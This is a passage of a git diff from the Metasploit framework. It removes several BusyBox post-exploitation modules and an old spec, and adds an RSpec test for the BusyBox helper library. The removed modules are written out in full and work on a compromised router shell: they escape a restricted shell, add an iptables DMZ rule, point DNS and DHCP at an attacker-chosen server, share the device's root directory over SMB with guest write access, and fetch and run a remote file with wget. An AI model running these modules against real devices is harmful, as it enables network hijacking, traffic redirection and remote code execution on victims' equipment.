bfound = try_command("ping && sh\n","3_3") unless bfound
|
||||
print_error("Unable to jailbreak device shell.") if !bfound
|
||||
end
|
||||
|
||||
def try_command(param_command, method_number)
|
||||
vprint_status("jailbreak sent: #{param_command}.")
|
||||
session.shell_write(param_command)
|
||||
(1..10).each do
|
||||
resp = session.shell_read()
|
||||
vprint_status("jailbreak received: #{resp}.")
|
||||
if ((resp.include? "BusyBox") && (resp.include? "Built-in shell"))
|
||||
vprint_status("Done method " + method_number + ".")
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
|
@ -1,46 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Set Dmz',
|
||||
'Description' => 'This module will be applied on a session connected
|
||||
to a BusyBox sh shell. The script will enable or disable dmz
|
||||
to a network host in the router or device executing BusyBox.',
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://vallejo.cc']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptAddress.new('TARGETHOST', [ true, "The address of the host to be target for the dmz", nil ]),
|
||||
OptBool.new('DELETE', [false, "If this option is set to true, the DMZ is removed. Else it is added.", false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['DELETE'] == true
|
||||
vprint_status("Executing iptables to delete dmz.")
|
||||
vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT"))
|
||||
else
|
||||
vprint_status("Executing iptables to add dmz.")
|
||||
vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT"))
|
||||
end
|
||||
if datastore['VERBOSE']
|
||||
vprint_status(cmd_exec("iptables --list"))
|
||||
end
|
||||
print_good("Dmz modified. Enable verbose for additional information.")
|
||||
end
|
||||
|
||||
end
|
|
@ -1,85 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Busybox
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Set Dns',
|
||||
'Description' => 'This module will be applied on a session connected
|
||||
to a BusyBox sh shell. The script will set dns addresses
|
||||
to the router or device executing BusyBox to be sent
|
||||
by dhcp server to network hosts.',
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://vallejo.cc']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('SRVHOST', [ true, "The dns server address.", nil ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
#The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update
|
||||
#udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp
|
||||
#
|
||||
def run
|
||||
workdone = false
|
||||
vprint_status("Searching for files to modify dns server.")
|
||||
if file_exists("/etc/resolv.conf")
|
||||
vprint_status("Resolv.conf found.")
|
||||
if is_writable_and_write("/etc/resolv.conf", "nameserver #{datastore['SRVHOST']}", false)
|
||||
print_good("Dns server added to resolv.conf.")
|
||||
workdone = true
|
||||
end
|
||||
end
|
||||
if file_exists("/etc/udhcpd.conf")
|
||||
vprint_status("Udhcpd.conf found.")
|
||||
original_content = read_file("/etc/udhcpd.conf")
|
||||
vprint_status("Original udhcpd.conf content:")
|
||||
vprint_status(original_content)
|
||||
if is_writable_and_write("/etc/udhcpd.conf", "option dns #{datastore['SRVHOST']}", true)
|
||||
vprint_status("Udhcpd.conf is writable. Relaunching udhcp server:")
|
||||
cmd_exec("killall dhcpd")
|
||||
#in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
|
||||
#that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
|
||||
#process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
|
||||
session.shell_write("dhcpd /etc/udhcpd.conf &\n")
|
||||
print_good("Udhcpd.conf modified and dns server added. Dhcpd restarted.")
|
||||
else
|
||||
vprint_status("Unable to write udhcpd.conf. Trying to copy the file to a writable directory.")
|
||||
writable_directory = get_writable_directory()
|
||||
if writable_directory
|
||||
vprint_status("writable directory found, creating a copy of the original udhcpd.conf.")
|
||||
cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf"); Rex::sleep(0.3)
|
||||
is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
|
||||
vprint_status("Relaunching udhcp server:")
|
||||
cmd_exec("killall dhcpd")
|
||||
session.shell_write("dhcpd #{writable_directory}tmp.conf &\n")
|
||||
print_good("Udhcpd.conf copied to writable directory and dns server added. Dhcpd restarted.")
|
||||
workdone = true
|
||||
else
|
||||
vprint_error("Writable directory not found.")
|
||||
end
|
||||
end
|
||||
end
|
||||
if !workdone
|
||||
print_error("Unable to modify dns server.")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,54 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Busybox
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Smb Share Root',
|
||||
'Description' => 'This module will be applied on a session connected
|
||||
to a BusyBox sh shell. The script will modify the
|
||||
smb configuration of the the router or device executing
|
||||
BusyBox to share the root directory of the device.',
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://vallejo.cc']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
vprint_status("Trying to find smb.conf.")
|
||||
if read_file("/var/samba/smb.conf").length > 0 #file? doesnt work because test -f is not implemented in busybox
|
||||
vprint_status("Smb.conf found.")
|
||||
vprint_status("Trying to find writable directory.")
|
||||
writable_directory = get_writable_directory()
|
||||
if writable_directory
|
||||
vprint_status("writable directory found, copying smb.conf.")
|
||||
vprint_status(cmd_exec("rm -f #{writable_directory}smb.conf")); Rex::sleep(0.1)
|
||||
vprint_status(cmd_exec("cp -f /var/samba/smb.conf #{writable_directory}smb.conf")); Rex::sleep(0.1)
|
||||
vprint_status(cmd_exec("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{writable_directory}smb.conf")); Rex::sleep(0.1)
|
||||
vprint_status(cmd_exec("killall smbd")); Rex::sleep(0.1)
|
||||
vprint_status(cmd_exec("smbd -D -s #{writable_directory}smb.conf")); Rex::sleep(0.1)
|
||||
vprint_status(cmd_exec("smbd -D -s=#{writable_directory}smb.conf")); Rex::sleep(0.1)
|
||||
print_good("Smb configuration has been modified.")
|
||||
else
|
||||
print_error("Writable directory not found.")
|
||||
end
|
||||
else
|
||||
print_error("Smb.conf not found.")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,60 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Busybox
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Wget and Exec',
|
||||
'Description' => 'This module will be applied on a session connected
|
||||
to a BusyBox sh shell. The script will use wget to download
|
||||
a file to the router or device executing BusyBox and then
|
||||
it executes the download file.',
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://vallejo.cc']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URL', [true, 'Full URL of file to download.'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
#The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update
|
||||
#udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp
|
||||
#
|
||||
def run
|
||||
vprint_status("Trying to find writable directory.")
|
||||
writable_directory = get_writable_directory()
|
||||
if writable_directory
|
||||
vprint_status("writable directory found, downloading file.")
|
||||
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
|
||||
random_file_path = writable_directory + rand_str
|
||||
cmd_exec("wget -O #{random_file_path} #{datastore['URL']}"); Rex::sleep(0.1)
|
||||
if file_exists(random_file_path)
|
||||
print_good("File downloaded using wget. Executing it.")
|
||||
cmd_exec("chmod 777 #{random_file_path}"); Rex::sleep(0.1)
|
||||
vprint_status(cmd_exec("sh #{random_file_path}"))
|
||||
else
|
||||
print_error("Unable to download file.")
|
||||
end
|
||||
else
|
||||
print_error("Writable directory not found.")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,185 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core/post/linux/busy_box'
|
||||
|
||||
describe Msf::Post::Linux::BusyBox do
|
||||
subject do
|
||||
mod = ::Msf::Module.new
|
||||
mod.extend described_class
|
||||
mod
|
||||
end
|
||||
|
||||
describe "#busy_box_file_exist?" do
|
||||
describe "when file exists" do
|
||||
before :each do
|
||||
allow(subject).to receive(:read_file) do
|
||||
'test data'
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(subject.busy_box_file_exist?('/etc/passwd')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "when file doesn't exist" do
|
||||
before :each do
|
||||
allow(subject).to receive(:read_file) do
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
it "returns false" do
|
||||
expect(subject.busy_box_file_exist?('/etc/nonexistent')).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#busy_box_is_writable_dir?" do
|
||||
before :each do
|
||||
allow(subject).to receive(:cmd_exec) do
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
describe "when dir is writable" do
|
||||
before :each do
|
||||
allow(subject).to receive(:read_file) do
|
||||
"#{'A' * 16}XXX#{'A' * 16}"
|
||||
end
|
||||
|
||||
allow(Rex::Text).to receive(:rand_text_alpha) do
|
||||
'A' * 16
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(subject.busy_box_is_writable_dir?('/tmp/')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "when dir isn't writable" do
|
||||
before :each do
|
||||
allow(subject).to receive(:read_file) do
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
it "returns false" do
|
||||
expect(subject.busy_box_is_writable_dir?('/etc/')).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe "#busy_box_writable_dir" do
|
||||
before :each do
|
||||
allow(subject).to receive(:cmd_exec) do
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
describe "when a writable directory doesn't exist" do
|
||||
before :each do
|
||||
allow(subject).to receive(:read_file) do
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
it "returns nil" do
|
||||
expect(subject.busy_box_writable_dir).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe "when a writable directory exists" do
|
||||
before :each do
|
||||
allow(subject).to receive(:read_file) do
|
||||
"#{'A' * 16}XXX#{'A' * 16}"
|
||||
end
|
||||
|
||||
allow(Rex::Text).to receive(:rand_text_alpha) do
|
||||
'A' * 16
|
||||
end
|
||||
end
|
||||
|
||||
it "returns the writable dir path" do
|
||||
expect(subject.busy_box_writable_dir).to eq('/etc/')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe "#busy_box_write_file" do
|
||||
before :each do
|
||||
allow(subject).to receive(:cmd_exec) do
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
describe "when the file isn't writable" do
|
||||
before :each do
|
||||
allow(subject).to receive(:read_file) do
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
it "returns false" do
|
||||
expect(subject.busy_box_write_file('/etc/passwd', 'test')).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
describe "when the file is writable" do
|
||||
before :each do
|
||||
allow(subject).to receive(:read_file) do
|
||||
"#{'A' * 16}XXX#{'A' * 16}"
|
||||
end
|
||||
|
||||
allow(Rex::Text).to receive(:rand_text_alpha) do
|
||||
'A' * 16
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(subject.busy_box_write_file('/tmp/test', 'test')).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "when prepend is true" do
|
||||
describe "when there is a writable dir" do
|
||||
describe "when the target file is writable" do
|
||||
before :each do
|
||||
allow(subject).to receive(:busy_box_writable_dir) do
|
||||
'/tmp/'
|
||||
end
|
||||
|
||||
allow(subject).to receive(:read_file) do
|
||||
"#{'A' * 16}XXX#{'A' * 16}"
|
||||
end
|
||||
|
||||
allow(Rex::Text).to receive(:rand_text_alpha) do
|
||||
'A' * 16
|
||||
end
|
||||
end
|
||||
|
||||
it "returns true" do
|
||||
expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "when there isn't a writable dir" do
|
||||
before :each do
|
||||
allow(subject).to receive(:busy_box_writable_dir) do
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
it "returns false" do
|
||||
expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,43 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core/post/linux/busybox'
|
||||
|
||||
describe Msf::Post::Linux::Busybox do
|
||||
subject do
|
||||
mod = Module.new
|
||||
mod.extend described_class
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#file_exists' do
|
||||
it "should test for file existence" do
|
||||
result = subject.file_exists("/etc/passwd")
|
||||
result.should be true
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_writable_directory' do
|
||||
it "should find a writable directory" do
|
||||
result = subject.get_writable_directory()
|
||||
result.should be true
|
||||
end
|
||||
end
|
||||
|
||||
describe '#is_writable_and_write' do
|
||||
it "should write and append data to a file in a writable directory" do
|
||||
result = false
|
||||
writable_directory = get_writable_directory()
|
||||
if nil != writable_directory
|
||||
writable_file = writable_directory + "tmp"
|
||||
if is_writable_and_write(writable_file, "test write ", false) and "test write " == read_file(writable_file) and
|
||||
is_writable_and_write(writable_file, "test append", true) and "test write test append" == read_file(writable_file)
|
||||
result = true
|
||||
end
|
||||
cmd_exec("rm -f #{writable_file}")
|
||||
end
|
||||
result.should be true
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue